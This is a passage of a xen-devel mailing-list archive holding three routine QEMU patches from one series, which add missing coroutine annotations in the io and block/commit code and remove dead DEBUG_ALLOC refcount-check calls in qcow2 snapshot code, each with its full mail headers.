From: =?utf-8?q?Marc-Andr=C3=A9_Lureau?= <marcandre.lureau@redhat.com>
Date: Mon, 20 Jul 2026 11:55:32 +0400
Subject: [PATCH 3/8] io: add missing coroutine annotation
MIME-Version: 1.0
Message-Id: <20260720-co-v1-3-fabb4db3c204@redhat.com>
References: <20260720-co-v1-0-fabb4db3c204@redhat.com>
In-Reply-To: <20260720-co-v1-0-fabb4db3c204@redhat.com>
To: qemu-devel@nongnu.org
Cc: Markus Armbruster <armbru@redhat.com>, Peter Xu <peterx@redhat.com>, 
 Fabiano Rosas <farosas@suse.de>, 
 =?utf-8?q?Daniel_P=2E_Berrang=C3=A9?= <berrange@redhat.com>, 
 John Snow <jsnow@redhat.com>, 
 Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>, 
 Kevin Wolf <kwolf@redhat.com>, Hanna Reitz <hreitz@redhat.com>, 
 qemu-block@nongnu.org, Stefan Hajnoczi <stefanha@redhat.com>, 
 Fam Zheng <fam@euphon.net>, "Denis V. Lunev" <den@openvz.org>, 
 Christian Schoenebeck <qemu_oss@crudebyte.com>, Greg Kurz <groug@kaod.org>, 
 "Michael S. Tsirkin" <mst@redhat.com>, 
 Stefano Stabellini <sstabellini@kernel.org>, 
 Anthony PERARD <anthony@xenproject.org>, 
 "Edgar E. Iglesias" <edgar.iglesias@gmail.com>, 
 xen-devel@lists.xenproject.org, Li Zhijian <lizhijian@fujitsu.com>, 
 =?utf-8?q?Marc-Andr=C3=A9_Lureau?= <marcandre.lureau@redhat.com>
X-Developer-Signature: v=1; a=openpgp-sha256; l=1375;
 i=marcandre.lureau@redhat.com; h=from:subject:message-id;
 bh=0uczZ0FGO8LAP5viyGHp+/jxtNxL630HdwYtMufZx5w=;
 b=owEBbQKS/ZANAwAKAdro4Ql1lpzlAcsmYgBqXdSJR+JAKejvppC4K18+1jyEdnxLV+7l5FH4d
 bj0E9E18KWJAjMEAAEKAB0WIQSHqb2TP4fGBtJ29i3a6OEJdZac5QUCal3UiQAKCRDa6OEJdZac
 5SpTD/sEFsZvOhVNETpyJacq1WDjsQwhdf6vVRDTle6EPuCTnI0qNdl+pJJuAjRq4OXzlExwWkw
 38rosD1s5i54gl1cfM7H84MjiRUM9o7BwCenABwGJ2G8aQ2rh0oPRyhp6wezlsB3aNdi515bqln
 NhVNh+DxLRNf7aszVouX1zTNvEC0I1RX2dcUAwq/dIMPZeccIpIzoxX44GomuVjE3mcNNmioBCL
 oJGmog+loSSa/zDjEGkBsAvohWF+1wGArD5cACn2Ylkp7zZ032f7dK9fyqtv86R0/VfYAZX2LHn
 TvN5BGICiE3ZBOyaZGWuJ0lwL5jqDTh41ajF8a/tNkfvY3mG7Xjyc+Js0L9/uXUKfeN2I1nWBvG
 9Cv9acyi4lp0swyUgdtDLAxsWuKI6es1t7Bx8LNm4w+JretscHcwO3lHOzUkWdMBd01RAq9SGz2
 NSjZUG/OtlIEtKeb5tBr7GXrUDNb8hoxaGI6yy6M2Yf0OyTYYMVmbu8baeWI8VH4FwL7syDmyk9
 w2OgH+Pqm0mFiOFbw63hF944tNW96l6qrPIo6bfcJTFK8jWo6S6nW+s0sORab94LTXqG7rQaB9b
 hSCbNoXPe949y+hV67xrIJ/bqFXFGkVvGPzDbbZ+VmGVkbuEqdbV8SzLFvtNdjDQXuSs8rloSGM
 MZKUhjzwKJNzReQ==
X-Developer-Key: i=marcandre.lureau@redhat.com; a=openpgp;
 fpr=87A9BD933F87C606D276F62DDAE8E10975969CE5
X-Scanned-By: MIMEDefang 3.4.1 on 10.30.177.4
X-Mimecast-MFC-PROC-ID: odjBN2pw_tZNVjuQuPDx_paIHSbN2xPGkoaav3T0iOY_1784534179
X-Mimecast-Originator: redhat.com
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-ebf023/1784534186-524CBB50-619128AF/0/0
X-purgate-type: clean
X-purgate-size: 1377

Fixes: 1edf0df28409 ("io: Add qio_channel_wait_cond() helper")
Signed-off-by: Marc-AndrÃ© Lureau <marcandre.lureau@redhat.com>
---
 include/io/channel.h | 4 ++--
 io/channel.c         | 5 +++--
 2 files changed, 5 insertions(+), 4 deletions(-)

diff --git a/include/io/channel.h b/include/io/channel.h
index 98485c9280a..c90ace20d53 100644
--- a/include/io/channel.h
+++ b/include/io/channel.h
@@ -1016,8 +1016,8 @@ void qio_channel_wait(QIOChannel *ioc,
  * This will work with/without a coroutine context, by automatically select
  * the proper API to wait.
  */
-void qio_channel_wait_cond(QIOChannel *ioc,
-                           GIOCondition condition);
+void coroutine_mixed_fn qio_channel_wait_cond(QIOChannel *ioc,
+                        GIOCondition condition);
 
 /**
  * qio_channel_set_aio_fd_handler:
diff --git a/io/channel.c b/io/channel.c
index 2853dadb684..620256f310d 100644
--- a/io/channel.c
+++ b/io/channel.c
@@ -905,8 +905,9 @@ void qio_channel_wait(QIOChannel *ioc,
     g_main_context_unref(ctxt);
 }
 
-void qio_channel_wait_cond(QIOChannel *ioc,
-                           GIOCondition condition)
+void coroutine_mixed_fn
+qio_channel_wait_cond(QIOChannel *ioc,
+                      GIOCondition condition)
 {
     if (qemu_in_coroutine()) {
         qio_channel_yield(ioc, condition);

-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 07:56:36 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 07:56:36 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366155.1616074 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlirc-0005yz-Qv; Mon, 20 Jul 2026 07:56:36 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366155.1616074; Mon, 20 Jul 2026 07:56:36 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlirc-0005ys-NY; Mon, 20 Jul 2026 07:56:36 +0000
Received: by outflank-mailman (input) for mailman id 1366155;
 Mon, 20 Jul 2026 07:56:34 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <marcandre.lureau@redhat.com>) id 1wlira-0005v6-Qy
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 07:56:34 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlira-006OJC-7B
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 09:56:34 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <marcandre.lureau@redhat.com>)
 id 6a5dd4b1-e002-0a2a0a5209dd-0a2a4504d9ec-2
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:56:34 +0200
Received: from [170.10.133.124] (helo=us-smtp-delivery-124.mimecast.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <marcandre.lureau@redhat.com>)
 id 6a5dd4b0-b57f-0a2a45040019-aa0a857ca755-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:56:33 +0200
Received: from mx-prod-mc-05.mail-002.prod.us-west-2.aws.redhat.com
 (ec2-54-186-198-63.us-west-2.compute.amazonaws.com [54.186.198.63]) by
 relay.mimecast.com with ESMTP with STARTTLS (version=TLSv1.3,
 cipher=TLS_AES_256_GCM_SHA384) id us-mta-402-jdj5FvwpPZimA4mMbZqh9A-1; Mon,
 20 Jul 2026 03:56:27 -0400
Received: from mx-prod-int-03.mail-002.prod.us-west-2.aws.redhat.com
 (mx-prod-int-03.mail-002.prod.us-west-2.aws.redhat.com [10.30.177.12])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (2048 bits) server-digest SHA256)
 (No client certificate requested)
 by mx-prod-mc-05.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTPS
 id 2731F1956095; Mon, 20 Jul 2026 07:56:25 +0000 (UTC)
Received: from localhost (unknown [10.44.22.17])
 by mx-prod-int-03.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTP
 id 96DF31955F73; Mon, 20 Jul 2026 07:56:23 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=mimecast20190719 header.d=redhat.com header.i="@redhat.com" header.h="From:Subject:Date:Message-Id:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=redhat.com;
	s=mimecast20190719; t=1784534192;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=ALldkh8seNA+CMYH3lEA3G+/dS0/SJeW8CIYrG9pcqg=;
	b=QUGisbldSb2V0DNiC4xld7yWenmoU6xDMmH7MILqqWSMTrOGHn4dPO55ww9quASkBe9WTm
	Sjf5vy53VQ+faTtaJPRATQlZ48AMtmYV7yWtrFCdtGll6DX96ejIV6sFuqsrY6unY3c0HS
	eHkEJiaf2oFcmC0OaEr4w16VLQWOEwg=
X-MC-Unique: jdj5FvwpPZimA4mMbZqh9A-1
X-Mimecast-MFC-AGG-ID: jdj5FvwpPZimA4mMbZqh9A_1784534186
From: =?utf-8?q?Marc-Andr=C3=A9_Lureau?= <marcandre.lureau@redhat.com>
Date: Mon, 20 Jul 2026 11:55:33 +0400
Subject: [PATCH 4/8] block: add missing coroutine annotation
MIME-Version: 1.0
Message-Id: <20260720-co-v1-4-fabb4db3c204@redhat.com>
References: <20260720-co-v1-0-fabb4db3c204@redhat.com>
In-Reply-To: <20260720-co-v1-0-fabb4db3c204@redhat.com>
To: qemu-devel@nongnu.org
Cc: Markus Armbruster <armbru@redhat.com>, Peter Xu <peterx@redhat.com>, 
 Fabiano Rosas <farosas@suse.de>, 
 =?utf-8?q?Daniel_P=2E_Berrang=C3=A9?= <berrange@redhat.com>, 
 John Snow <jsnow@redhat.com>, 
 Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>, 
 Kevin Wolf <kwolf@redhat.com>, Hanna Reitz <hreitz@redhat.com>, 
 qemu-block@nongnu.org, Stefan Hajnoczi <stefanha@redhat.com>, 
 Fam Zheng <fam@euphon.net>, "Denis V. Lunev" <den@openvz.org>, 
 Christian Schoenebeck <qemu_oss@crudebyte.com>, Greg Kurz <groug@kaod.org>, 
 "Michael S. Tsirkin" <mst@redhat.com>, 
 Stefano Stabellini <sstabellini@kernel.org>, 
 Anthony PERARD <anthony@xenproject.org>, 
 "Edgar E. Iglesias" <edgar.iglesias@gmail.com>, 
 xen-devel@lists.xenproject.org, Li Zhijian <lizhijian@fujitsu.com>, 
 =?utf-8?q?Marc-Andr=C3=A9_Lureau?= <marcandre.lureau@redhat.com>
X-Developer-Signature: v=1; a=openpgp-sha256; l=861;
 i=marcandre.lureau@redhat.com; h=from:subject:message-id;
 bh=WmyEwYMEsZBPe16QwpjcWihXuT8+mm7P1L0OltCg6FI=;
 b=owEBbQKS/ZANAwAKAdro4Ql1lpzlAcsmYgBqXdSJA2EiDfjrLe0AmLG5DHsASaHz6NBI5jV4Q
 MGQdc/B9EmJAjMEAAEKAB0WIQSHqb2TP4fGBtJ29i3a6OEJdZac5QUCal3UiQAKCRDa6OEJdZac
 5cKFD/9P2uRbNUYrYGtaBq2O66ze0WyGYtu7Jf8KB/SPvKvaQ9PDNhMzEUwX+kb+2gUVqMYdFy4
 noa0RtH8Yjg3PrTX4HrT2rAoJe79Iro7gUKYrbrlqm+E0CCIDbNzwcQ2usPXGrXswZerkH7T+5c
 bpKsaRmkKrzTIQw1Sj8RQHchphAgo8Xsz04wt151GrNd76Tkdu4JcySLtxb6WJnrDYTPS+HLOAt
 RwgvB/9AnknYNnCwg2FoyCvf9rqsSZuEbAllihNkd+wcAa6b5JPEj5tfJijtCyq/V1ZS0v7IkTC
 pvvuKKH6+zgARuwnplV5l2tOP5jtxPfHfgZS7W6H6ZjLDxf29aObVcGVKOTau8KLNWRj+F1L6zS
 ccpIwmZSf8x+pesappkS2YxmhaN/mmU9F+YadIxSfArGlsclY8lGRmBUIkhHo/+WxfnUx4P3YAL
 VHv0okqVOEka0w+7liQOelrhh5PQP0+Wzz8CqHqDMJzhDsJThU2VcDplF4pFgpvvR/ME8AL9fe6
 8KeakmrcRBIaY6njZDrIgv/OhPQa/NpKFiYQJMPBlP8FDuOgP0EJl8eiH/WPZ76ebiutGujSb8s
 NnH3ftmtYGjbgb7EYd6nzo2JGxBM0DZnEkMcORwRfbya8vl0Ul+LxZ2Ylj8QiP4Py4pMe1xCIYx
 Y2WkjmpXIm6wH/g==
X-Developer-Key: i=marcandre.lureau@redhat.com; a=openpgp;
 fpr=87A9BD933F87C606D276F62DDAE8E10975969CE5
X-Scanned-By: MIMEDefang 3.0 on 10.30.177.12
X-Mimecast-MFC-PROC-ID: __c8828leIr4bXvZozUpkaVdaERiCy0ZhV6m332mp0M_1784534186
X-Mimecast-Originator: redhat.com
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-ebf023/1784534193-532CCB50-21455C39/0/0
X-purgate-type: clean
X-purgate-size: 863

The function was extracted without carrying the annotation.

Fixes: 23743ab282af ("block: move commit_run loop to separate function")
Signed-off-by: Marc-AndrÃ© Lureau <marcandre.lureau@redhat.com>
---
 block/commit.c | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/block/commit.c b/block/commit.c
index c5e3ef03a21..2d52c39594c 100644
--- a/block/commit.c
+++ b/block/commit.c
@@ -128,8 +128,9 @@ static void commit_clean(Job *job)
     blk_unref(s->top);
 }
 
-static int commit_iteration(CommitBlockJob *s, int64_t offset,
-                            int64_t *requested_bytes, void *buf)
+static int coroutine_fn
+commit_iteration(CommitBlockJob *s, int64_t offset,
+                 int64_t *requested_bytes, void *buf)
 {
     BlockErrorAction action;
     int64_t bytes = *requested_bytes;

-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 07:56:40 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 07:56:40 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366162.1616083 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlirg-0006OD-5G; Mon, 20 Jul 2026 07:56:40 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366162.1616083; Mon, 20 Jul 2026 07:56:40 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlirg-0006O1-0w; Mon, 20 Jul 2026 07:56:40 +0000
Received: by outflank-mailman (input) for mailman id 1366162;
 Mon, 20 Jul 2026 07:56:39 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <marcandre.lureau@redhat.com>) id 1wlirf-0006KP-8J
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 07:56:39 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlire-008bDr-L8
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 09:56:38 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <marcandre.lureau@redhat.com>)
 id 6a5dd4a6-bab6-0a2a0a5309dd-0a2a45078b54-42
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:56:38 +0200
Received: from [170.10.129.124] (helo=us-smtp-delivery-124.mimecast.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <marcandre.lureau@redhat.com>)
 id 6a5dd4b5-b4ea-0a2a45070019-aa0a817c7ea3-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:56:38 +0200
Received: from mx-prod-mc-01.mail-002.prod.us-west-2.aws.redhat.com
 (ec2-54-186-198-63.us-west-2.compute.amazonaws.com [54.186.198.63]) by
 relay.mimecast.com with ESMTP with STARTTLS (version=TLSv1.3,
 cipher=TLS_AES_256_GCM_SHA384) id us-mta-479-VB5yDZjfN5uX1YugrrQK3A-1; Mon,
 20 Jul 2026 03:56:32 -0400
Received: from mx-prod-int-05.mail-002.prod.us-west-2.aws.redhat.com
 (mx-prod-int-05.mail-002.prod.us-west-2.aws.redhat.com [10.30.177.17])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (2048 bits) server-digest SHA256)
 (No client certificate requested)
 by mx-prod-mc-01.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTPS
 id 9BA841956057; Mon, 20 Jul 2026 07:56:30 +0000 (UTC)
Received: from localhost (unknown [10.44.22.17])
 by mx-prod-int-05.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTP
 id CAB5D195422C; Mon, 20 Jul 2026 07:56:28 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=mimecast20190719 header.d=redhat.com header.i="@redhat.com" header.h="From:Subject:Date:Message-Id:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=redhat.com;
	s=mimecast20190719; t=1784534197;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=utSN3mhE2is8KfGh3+2A1hakyZDW+n+VzyAtNi0hb8g=;
	b=AJ7X4eqWLXbTXaiHDP/7iZlZq2687UaMx0cwhO5XMVg8tKq8Ee1/uF56Gqpwi9UiUgRIUh
	ONX7t1WN2BZvghTqVp4/R+9ke0mjIXSPnthlNUGxeiZhARATrgv4C6YgfnsKsxeKioZJ0p
	kaZyjfoRYMCU8hNyA1WBIIvloEYmHZ4=
X-MC-Unique: VB5yDZjfN5uX1YugrrQK3A-1
X-Mimecast-MFC-AGG-ID: VB5yDZjfN5uX1YugrrQK3A_1784534190
From: =?utf-8?q?Marc-Andr=C3=A9_Lureau?= <marcandre.lureau@redhat.com>
Date: Mon, 20 Jul 2026 11:55:34 +0400
Subject: [PATCH 5/8] qcow2: remove invalid qcow2_check_refcounts calls
MIME-Version: 1.0
Message-Id: <20260720-co-v1-5-fabb4db3c204@redhat.com>
References: <20260720-co-v1-0-fabb4db3c204@redhat.com>
In-Reply-To: <20260720-co-v1-0-fabb4db3c204@redhat.com>
To: qemu-devel@nongnu.org
Cc: Markus Armbruster <armbru@redhat.com>, Peter Xu <peterx@redhat.com>, 
 Fabiano Rosas <farosas@suse.de>, 
 =?utf-8?q?Daniel_P=2E_Berrang=C3=A9?= <berrange@redhat.com>, 
 John Snow <jsnow@redhat.com>, 
 Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>, 
 Kevin Wolf <kwolf@redhat.com>, Hanna Reitz <hreitz@redhat.com>, 
 qemu-block@nongnu.org, Stefan Hajnoczi <stefanha@redhat.com>, 
 Fam Zheng <fam@euphon.net>, "Denis V. Lunev" <den@openvz.org>, 
 Christian Schoenebeck <qemu_oss@crudebyte.com>, Greg Kurz <groug@kaod.org>, 
 "Michael S. Tsirkin" <mst@redhat.com>, 
 Stefano Stabellini <sstabellini@kernel.org>, 
 Anthony PERARD <anthony@xenproject.org>, 
 "Edgar E. Iglesias" <edgar.iglesias@gmail.com>, 
 xen-devel@lists.xenproject.org, Li Zhijian <lizhijian@fujitsu.com>, 
 =?utf-8?q?Marc-Andr=C3=A9_Lureau?= <marcandre.lureau@redhat.com>
X-Developer-Signature: v=1; a=openpgp-sha256; l=1376;
 i=marcandre.lureau@redhat.com; h=from:subject:message-id;
 bh=lDMiv5gtrBs/qk0wtWevIj1n6j5/hXAFjJohWIk2KvE=;
 b=owEBbQKS/ZANAwAKAdro4Ql1lpzlAcsmYgBqXdSJagLQUSmkkLOieomfVHfQf3Yg/ieZBFMD8
 3E57Ey18IKJAjMEAAEKAB0WIQSHqb2TP4fGBtJ29i3a6OEJdZac5QUCal3UiQAKCRDa6OEJdZac
 5Tf5D/9/GombD/VzsbM/KN4eV+sUCeRbrgLneqzrGGiilG+mkvhBkAKEK+1hau1h1tarv0Mv+fi
 YGWaCug8JeZKiW3JeoHpClkZjYE+sFcimL+SI63Ll72CsTooTm/AOeql5HSar2LgPQ0sbYPVSGA
 7WMtKSnPtp41QS/N+ttHibR4oZwW58Qr2WEnD/lJbayNS7x8x+4tgriHicBsWDZGjgYKdJiGfYa
 wmvr9WSu4kPDrI3cbS8N2+wS8ZXNuDYZqASTRbFJo8F3cRnoVe9FU/2T5VBw+u6SdwBo6P+InXH
 jdCh8by7q49AYj81a3RXBBQUTo4E1KNL+PVwT9dyBVmbGKzodsz/vkap3GF6Io6/aSyU//VR+/e
 /KaT5LwRjm5CbajylToskjl4GTCviPaNAcj0h+N8rIjS82U5hE5OBHJGv1D5QxxgqhXkDZ7UW3R
 TqMXH81S2RikpKG8TzHNjfW5DbXapIKSPa9oBjAISx8dQeCbXd/0vRHBlep+su0x1l9wtmSVLy7
 r0RoGtOh/DO78mbFrmQwoBde6sepR2ORnDTz6L8UxVuq77tw+a+X8b2cp6kmdowBCpa9zALyDFW
 h0cgNPViS0D6em8jQPf/G6YYOHeF1yOjjHHQpsHCySPwKBT6gxGV4TE8tlv1PGhDqBdPM/GaWco
 0vMxckJnT25iCvQ==
X-Developer-Key: i=marcandre.lureau@redhat.com; a=openpgp;
 fpr=87A9BD933F87C606D276F62DDAE8E10975969CE5
X-Scanned-By: MIMEDefang 3.0 on 10.30.177.17
X-Mimecast-MFC-PROC-ID: WipGPYrvavzyqoToNbPKx1irKXc2UcXH5ofbZKM62gU_1784534190
X-Mimecast-Originator: redhat.com
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-ef75cf/1784534198-3C212AE4-CD023772/0/0
X-purgate-type: clean
X-purgate-size: 1378

Those DEBUG_ALLOC-guarded are dead code incorrectly calling coroutine fn
from non-coroutine. Remove it.

Signed-off-by: Marc-AndrÃ© Lureau <marcandre.lureau@redhat.com>
---
 block/qcow2-snapshot.c | 18 ------------------
 1 file changed, 18 deletions(-)

diff --git a/block/qcow2-snapshot.c b/block/qcow2-snapshot.c
index 1e8dc48be1c..8453ad73d10 100644
--- a/block/qcow2-snapshot.c
+++ b/block/qcow2-snapshot.c
@@ -740,12 +740,6 @@ int qcow2_snapshot_create(BlockDriverState *bs, QEMUSnapshotInfo *sn_info)
                           ROUND_UP(sn->vm_state_size, s->cluster_size),
                           QCOW2_DISCARD_NEVER, false);
 
-#ifdef DEBUG_ALLOC
-    {
-      BdrvCheckResult result = {0};
-      qcow2_check_refcounts(bs, &result, 0);
-    }
-#endif
     return 0;
 
 fail:
@@ -893,12 +887,6 @@ int qcow2_snapshot_goto(BlockDriverState *bs, const char *snapshot_id)
         goto fail;
     }
 
-#ifdef DEBUG_ALLOC
-    {
-        BdrvCheckResult result = {0};
-        qcow2_check_refcounts(bs, &result, 0);
-    }
-#endif
     return 0;
 
 fail:
@@ -975,12 +963,6 @@ int qcow2_snapshot_delete(BlockDriverState *bs,
         return ret;
     }
 
-#ifdef DEBUG_ALLOC
-    {
-        BdrvCheckResult result = {0};
-        qcow2_check_refcounts(bs, &result, 0);
-    }
-#endif
     return 0;
 }
 

-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 07:56:45 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 07:56:45 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366170.1616092 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlirl-0006nj-F3; Mon, 20 Jul 2026 07:56:45 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366170.1616092; Mon, 20 Jul 2026 07:56:45 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlirl-0006nc-9p; Mon, 20 Jul 2026 07:56:45 +0000
Received: by outflank-mailman (input) for mailman id 1366170;
 Mon, 20 Jul 2026 07:56:44 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <marcandre.lureau@redhat.com>) id 1wlirk-0006jL-0R
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 07:56:44 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlirj-008bDr-DC
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 09:56:43 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <marcandre.lureau@redhat.com>)
 id 6a5dd4ad-bab6-0a2a0a5309dd-0a2a450bbf00-32
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:56:43 +0200
Received: from [170.10.133.124] (helo=us-smtp-delivery-124.mimecast.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <marcandre.lureau@redhat.com>)
 id 6a5dd4ba-b7e8-0a2a450b0019-aa0a857cbde1-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:56:43 +0200
Received: from mx-prod-mc-08.mail-002.prod.us-west-2.aws.redhat.com
 (ec2-35-165-154-97.us-west-2.compute.amazonaws.com [35.165.154.97]) by
 relay.mimecast.com with ESMTP with STARTTLS (version=TLSv1.3,
 cipher=TLS_AES_256_GCM_SHA384) id us-mta-564-ueMBmxX3NoiCR6Lyx6dC8g-1; Mon,
 20 Jul 2026 03:56:38 -0400
Received: from mx-prod-int-06.mail-002.prod.us-west-2.aws.redhat.com
 (mx-prod-int-06.mail-002.prod.us-west-2.aws.redhat.com [10.30.177.93])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (2048 bits) server-digest SHA256)
 (No client certificate requested)
 by mx-prod-mc-08.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTPS
 id 84BF6180135D; Mon, 20 Jul 2026 07:56:36 +0000 (UTC)
Received: from localhost (unknown [10.44.22.17])
 by mx-prod-int-06.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTP
 id 7FDD818001E1; Mon, 20 Jul 2026 07:56:34 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=mimecast20190719 header.d=redhat.com header.i="@redhat.com" header.h="From:Subject:Date:Message-Id:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=redhat.com;
	s=mimecast20190719; t=1784534202;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
